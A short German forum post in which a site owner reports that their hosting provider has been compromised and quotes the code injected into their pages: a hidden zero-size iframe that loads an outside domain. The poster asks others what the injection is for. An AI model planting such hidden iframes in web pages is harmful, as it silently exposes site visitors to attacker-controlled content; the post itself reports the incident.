Einer der Hoster wo ich eine Domain liegen habe, ist auch betroffen (limtec).
Der Angreifer fügt folgenden code auf den Webseiten ein:
<iframe src="https://lipitor.freehoxt.com/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
So richtig erschließt sich mir der Sinn des Ganzen nicht, aber dafür gibt es ja hier kluge Köpfe

Ach so , der Angreifer scheint nicht über den FTP zu kommen.